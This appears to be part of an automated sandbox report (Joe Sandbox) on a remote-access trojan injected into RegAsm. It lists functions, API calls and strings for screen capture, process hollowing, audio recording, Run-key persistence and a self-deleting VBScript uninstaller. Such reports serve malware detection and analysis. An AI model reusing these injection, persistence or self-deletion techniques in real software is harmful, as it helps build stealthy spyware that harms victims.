                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                              • String ID: lJD
                              • API String ID: 1084509184-3316369744
                              • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                              • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                              • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                              • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                              Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON
                              Download Yara Rule
                              APIs
                              • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoLocale
                              • String ID: GetLocaleInfoEx
                              • API String ID: 2299586839-2904428671
                              • Opcode ID: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                              • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                              • Opcode Fuzzy Hash: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                              • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                              Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                              Download Yara Rule
                              APIs
                              • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                              • HeapFree.KERNEL32(00000000), ref: 004120EE
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Heap$FreeProcess
                              • String ID:
                              • API String ID: 3859560861-0
                              • Opcode ID: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                              • Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
                              • Opcode Fuzzy Hash: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                              • Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58
                              Function 00434C52 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                              Download Yara Rule
                              APIs
                              • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434C6B
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FeaturePresentProcessor
                              • String ID:
                              • API String ID: 2325560087-0
                              • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                              • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                              • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                              • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                              Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$_free$InfoLocale_abort
                              • String ID:
                              • API String ID: 1663032902-0
                              • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                              • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                              • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                              • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                              Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$InfoLocale_abort_free
                              • String ID:
                              • API String ID: 2692324296-0
                              • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                              • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                              • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                              • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                              Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                              • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CriticalEnterEnumLocalesSectionSystem
                              • String ID:
                              • API String ID: 1272433827-0
                              • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                              • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                              • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                              • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                              Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                              • String ID:
                              • API String ID: 1084509184-0
                              • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                              • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                              • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                              • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                              Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                              Download Yara Rule
                              APIs
                              • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.0.0 Pro), ref: 0040F8E5
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoLocale
                              • String ID:
                              • API String ID: 2299586839-0
                              • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                              • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                              • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                              • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                              Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                              • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                                • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                              • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                              • DeleteDC.GDI32(00000000), ref: 00418F2A
                              • DeleteDC.GDI32(00000000), ref: 00418F2D
                              • DeleteObject.GDI32(00000000), ref: 00418F30
                              • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                              • DeleteDC.GDI32(00000000), ref: 00418F62
                              • DeleteDC.GDI32(00000000), ref: 00418F65
                              • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                              • GetIconInfo.USER32 ref: 00418FBD
                              • DeleteObject.GDI32(?), ref: 00418FEC
                              • DeleteObject.GDI32(?), ref: 00418FF9
                              • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                              • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                              • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                              • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                              • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                              • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                              • DeleteDC.GDI32(?), ref: 0041917C
                              • DeleteDC.GDI32(00000000), ref: 0041917F
                              • DeleteObject.GDI32(00000000), ref: 00419182
                              • GlobalFree.KERNEL32(?), ref: 0041918D
                              • DeleteObject.GDI32(00000000), ref: 00419241
                              • GlobalFree.KERNEL32(?), ref: 00419248
                              • DeleteDC.GDI32(?), ref: 00419258
                              • DeleteDC.GDI32(00000000), ref: 00419263
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                              • String ID: DISPLAY
                              • API String ID: 479521175-865373369
                              • Opcode ID: 089398b6e32a15a2bb07324b2b74cb9d300fdf9583fe9699c99010c1927bcddc
                              • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                              • Opcode Fuzzy Hash: 089398b6e32a15a2bb07324b2b74cb9d300fdf9583fe9699c99010c1927bcddc
                              • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                              Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                              • GetProcAddress.KERNEL32(00000000), ref: 00418139
                              • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                              • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                              • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                              • GetProcAddress.KERNEL32(00000000), ref: 00418161
                              • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                              • GetProcAddress.KERNEL32(00000000), ref: 00418175
                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                              • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                              • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                              • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                              • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                              • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                              • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                              • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                              • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                              • ResumeThread.KERNEL32(?), ref: 00418435
                              • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                              • GetCurrentProcess.KERNEL32(?), ref: 00418457
                              • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                              • GetLastError.KERNEL32 ref: 0041847A
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                              • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                              • API String ID: 4188446516-3035715614
                              • Opcode ID: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                              • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                              • Opcode Fuzzy Hash: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                              • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                              Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                              • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                              • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                              • ExitProcess.KERNEL32 ref: 0040D7D0
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                              • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                              • API String ID: 1861856835-332907002
                              • Opcode ID: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                              • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                              • Opcode Fuzzy Hash: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                              • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                              Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                              • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                              • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,63B01986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                              • ExitProcess.KERNEL32 ref: 0040D419
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                              • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                              • API String ID: 3797177996-2557013105
                              • Opcode ID: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                              • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                              • Opcode Fuzzy Hash: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                              • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                              Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                              • ExitProcess.KERNEL32(00000000), ref: 004124A0
                              • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                              • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                              • CloseHandle.KERNEL32(00000000), ref: 0041253B
                              • GetCurrentProcessId.KERNEL32 ref: 00412541
                              • PathFileExistsW.SHLWAPI(?), ref: 00412572
                              • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                              • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                              • lstrcatW.KERNEL32 ref: 00412601
                                • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                              • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                              • Sleep.KERNEL32(000001F4), ref: 00412682
                              • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                              • CloseHandle.KERNEL32(00000000), ref: 004126A9
                              • GetCurrentProcessId.KERNEL32 ref: 004126AF
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                              • String ID: .exe$8SG$WDH$exepath$open$temp_
                              • API String ID: 2649220323-436679193
                              • Opcode ID: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                              • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                              • Opcode Fuzzy Hash: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                              • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                              Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                              • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                              • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                              • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                              • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                              • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                              • SetEvent.KERNEL32 ref: 0041B219
                              • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                              • CloseHandle.KERNEL32 ref: 0041B23A
                              • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                              • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                              • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                              • API String ID: 738084811-2094122233
                              • Opcode ID: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                              • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                              • Opcode Fuzzy Hash: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                              • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                              Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                              • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                              • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                              • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                              • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                              • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                              • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                              • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                              • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                              • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                              • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                              • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                              • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                              • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Write$Create
                              • String ID: RIFF$WAVE$data$fmt
                              • API String ID: 1602526932-4212202414
                              • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                              • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                              • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
